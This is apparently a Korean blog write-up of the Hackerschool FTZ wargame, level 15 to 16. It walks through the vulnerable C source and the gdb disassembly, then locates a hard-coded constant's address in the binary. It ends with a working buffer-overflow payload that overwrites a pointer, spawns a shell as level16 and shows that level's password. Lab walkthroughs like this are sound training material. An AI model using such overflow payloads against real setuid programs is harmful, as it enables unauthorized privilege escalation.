[FTZ] level 15 → level 16 문제풀이 본문

Pwnable/해커스쿨 FTZ write-up

[FTZ] level 15 → level 16 문제풀이

disso1p1 2020. 3. 6. 21:51

 

 

 

level15 - id : level15 , pw : guess what

 

 

[level15@ftz level15]$ ls
attackme  hint	public_html  tmp
[level15@ftz level15]$ cat hint

#include <stdio.h>
 
main()
{ int crap;
  int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
}  

[level15@ftz level15]$ 


이번 문제는 level14 문제에서 check 가 포인터 인 것만 바뀌었다.

 

 

attackme 파일을 gdb 로 분석해보자.

 

[level15@ftz level15]$ cp attackme tmp
[level15@ftz level15]$ cd tmp  
[level15@ftz tmp]$ ls
attackme
[level15@ftz tmp]$ gdb -q attackme 
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>:	push   ebp
0x08048491 <main+1>:	mov    ebp,esp
0x08048493 <main+3>:	sub    esp,0x38
0x08048496 <main+6>:	sub    esp,0x4
0x08048499 <main+9>:	push   ds:0x8049664
0x0804849f <main+15>:	push   0x2d
0x080484a1 <main+17>:	lea    eax,[ebp-56]
0x080484a4 <main+20>:	push   eax
0x080484a5 <main+21>:	call   0x8048360 <fgets>
0x080484aa <main+26>:	add    esp,0x10
0x080484ad <main+29>:	mov    eax,DWORD PTR [ebp-16]
0x080484b0 <main+32>:	cmp    DWORD PTR [eax],0xdeadbeef
0x080484b6 <main+38>:	jne    0x80484dd <main+77>
0x080484b8 <main+40>:	sub    esp,0x8
0x080484bb <main+43>:	push   0xc18
0x080484c0 <main+48>:	push   0xc18
0x080484c5 <main+53>:	call   0x8048380 <setreuid>
0x080484ca <main+58>:	add    esp,0x10
0x080484cd <main+61>:	sub    esp,0xc
0x080484d0 <main+64>:	push   0x8048548
0x080484d5 <main+69>:	call   0x8048340 <system>
0x080484da <main+74>:	add    esp,0x10
---Type <return> to continue, or q <return> to quit---
0x080484dd <main+77>:	leave  
0x080484de <main+78>:	ret    
0x080484df <main+79>:	nop    
End of assembler dump.
(gdb) 

 

0x080484a1 <main+17> 부분을 보면 ebp-56 주소를 fgets 함수의 인자값으로 넘겨준다. (  fgets(buf,45,stdin); )

즉, buf 의 위치는 ebp-56 이다.

 

0x080484ad <main+29> 부분을 보면 ebp-16 주소에 있는 값을 eax 에 넣어주고, 그 주소에 있는 값이 0xdeadbeef 인지 비교한다.

그러므로 ebp-16 에 0xdeadbeef 가 있는 값의 주소를 넣어주면 된다.

 

직접 buf 에 0xdeadbeef 를 넣어 그 주소를 찾아오면 좋겠지만, 

FTZ 환경에서는 ASLR 보호기법이 걸려있기 때문에 정확한 주소를 찾아봤자 계속 바뀐다.

 

그럼 0xdeadbeef 가 어디 있을까?

 

바로 0x080484ad <main+29> 쪽에 있다.

attackme 파일을 하드코딩 되었기 때문에 값이 0x080484ad 쪽에 저장되어있을 것이다.

 

 

하드코딩은 데이터가 실행 바이너리에 합쳐져 있는 상태를 말한다.

출처: https://meanpain.tistory.com/111 [죠셉의 세상이야기]

 

main 에 breakpoint 를 걸고 실행해보자.

 

(gdb) b*main
Breakpoint 1 at 0x8048490
(gdb) r
Starting program: /home/level15/tmp/attackme 

Breakpoint 1, 0x08048490 in main ()
(gdb) x/4x 0x080484b0
0x80484b0 <main+32>:	0xbeef3881	0x2575dead	0x6808ec83	0x00000c18
(gdb) 

 

데이터를 보니까 deadbeef 가 보인다.

 

(gdb) x/x 0x080484b0+2 
0x80484b2 <main+34>:	0xdeadbeef
(gdb) 

 

0xdeadbeef 의 정확한 주소는 0x080484b2 이다.

 

 

buf(20) + dummy(20) + *check(4)

 

A A ... A \xb2 \x84 \x04 \x08

↑                                                                                                                

ebp-56 ( buf 시작주소 )                                                                        ebp-16 ( *check 시작주소 )

 

 

구조는 이렇다.

 

 

buf부터 dummy 까지( 40byte ) A 로 덮고, 4byte를 0x080484b2 로 덮으면 되겠다.

 

 

이제 attackme 파일을 공격해보자.

 

[level15@ftz tmp]$ cd ..
[level15@ftz level15]$ ls
attackme  hint	public_html  tmp
[level15@ftz level15]$ (python -c 'print "A"*40 + "\xb2\x84\x04\x08"';cat) | ./attackme
id
uid=3096(level16) gid=3095(level15) groups=3095(level15)
my-pass

Level16 Password is "about to cause mass".




 

level16 권한으로 쉘이 따졌다.

 

 

 

 

Level16 Password is "about to cause mass".

 

 

 

감사합니다

Comments